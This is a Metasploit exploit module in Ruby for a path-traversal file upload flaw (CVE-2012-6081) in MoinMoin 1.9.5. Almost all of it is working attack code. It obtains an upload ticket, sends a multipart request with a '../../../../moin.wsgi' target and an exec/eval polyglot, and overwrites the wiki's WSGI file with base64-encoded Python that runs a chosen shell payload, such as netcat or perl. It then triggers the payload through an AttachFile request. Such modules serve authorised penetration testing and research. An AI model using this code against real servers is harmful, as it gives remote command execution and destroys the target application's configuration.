modules/exploits/unix/webapp/moinmoin_twikidraw.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MoinMoin twikidraw Action Traversal File Upload',
'Description' => %q{
This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
exists on the manage of the twikidraw actions, where a traversal path can be used
in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
configurations by overwriting moin.wsgi, which allows to execute arbitrary python
code, as exploited in the wild on July, 2012. This module is "ManualRanking," and
the user is warned to use this module at his own risk since it will overwrite the
moin.wsgi file, required for the correct working of the MoinMoin wiki. While the
exploit will try to restore the attacked application at post exploitation, successful
restoration cannot be guaranteed.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'HTP', # PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6081' ],
[ 'OSVDB', '88825' ],
[ 'BID', '57082' ],
[ 'EDB', '25304' ],
[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],
[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'Space' => 16384, # Enough one to fit any payload
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet netcat perl'
}
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'MoinMoin 1.9.5', { }]],
'DisclosureDate' => '2012-12-30',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
])
self.needs_cleanup = true
end
def post_auth?
true
end
def moinmoin_template(path)
template =[]
template << "# -*- coding: iso-8859-1 -*-"
template << "import sys, os"
template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
template << "from MoinMoin.web.serving import make_application"
template << "application = make_application(shared=True)"
return template
end
def restore_file(session, file, contents)
first = true
contents.each {|line|
if first
session.shell_command_token("echo \"#{line}\" > #{file}")
first = false
else
session.shell_command_token("echo \"#{line}\" >> #{file}")
end
}
end
# Try to restore a basic moin.wsgi file with the hope of making the
# application usable again.
# Try to search on /usr/local/share/moin (default search path) and the
# current path (apache user home). Avoiding to search on "/" because it
# could took long time to finish.
def on_new_session(session)
print_status("Trying to restore moin.wsgi...")
begin
files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
files.split.each { |file|
print_status("#{file} found! Trying to restore...")
restore_file(session, file, moinmoin_template(file))
}
files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
files.split.each { |file|
print_status("#{file} found! Trying to restore...")
restore_file(session, file, moinmoin_template(file))
}
print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
rescue
print_warning("Error while restring moin.wsgi, manual restoring would be required.")
end
end
def do_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@base, @page),
'vars_post' =>
{
'action' => 'login',
'name' => username,
'password' => password,
'login' => 'Login'
}
})
if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
return nil
end
return res.get_cookies
end
def upload_code(session, code)
vprint_status("Retrieving the ticket...")
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' => {
'action' => 'twikidraw',
'do' => 'modify',
'target' => '../../../../moin.wsgi'
}
})
if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/
vprint_error("Error retrieving the ticket")
return nil
end
ticket = $1
vprint_good("Ticket found: #{ticket}")
my_payload = "[MARK]#{code}[MARK]"
post_data = Rex::MIME::Message.new
post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
my_data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' =>
{
'action' => 'twikidraw',
'do' => 'save',
'ticket' => ticket,
'target' => '../../../../moin.wsgi'
},
'data' => my_data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if not res or res.code != 200 or not res.body.empty?
vprint_error("Error uploading the payload")
return nil
end
return true
end
def check
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
res = send_request_cgi({
'uri' => normalize_uri(@base)
})
if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
return Exploit::CheckCode::Detected
elsif res
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def writable_page?(session)
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
})
if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
return false
end
return true
end
def exploit
# Init variables
@page = datastore['WritablePage']
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
# Login if needed
if (datastore['USERNAME'] and
not datastore['USERNAME'].empty? and
datastore['PASSWORD'] and
not datastore['PASSWORD'].empty?)
print_status("Trying login to get session ID...")
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
else
print_status("Using anonymous access...")
session = ""
end
# Check authentication
if not session
fail_with(Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
end
# Check writable permissions
if not writable_page?(session)
fail_with(Failure::NoAccess, "There are no write permissions on #{@page}")
end
# Upload payload
print_status("Trying to upload payload...")
python_cmd = "import sys, os\n"
python_cmd << "os.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))\n"
python_cmd << "sys.path.insert(0, '/usr/local/share/moin')\n"
python_cmd << "from MoinMoin.web.serving import make_application\n"
python_cmd << "application = make_application(shared=True)"
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
if not res
fail_with(Failure::Unknown, "Error uploading the payload")
end
# Execute payload
print_status("Executing the payload...")
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' => {
'action' => 'AttachFile'
}
}, 5)
end
end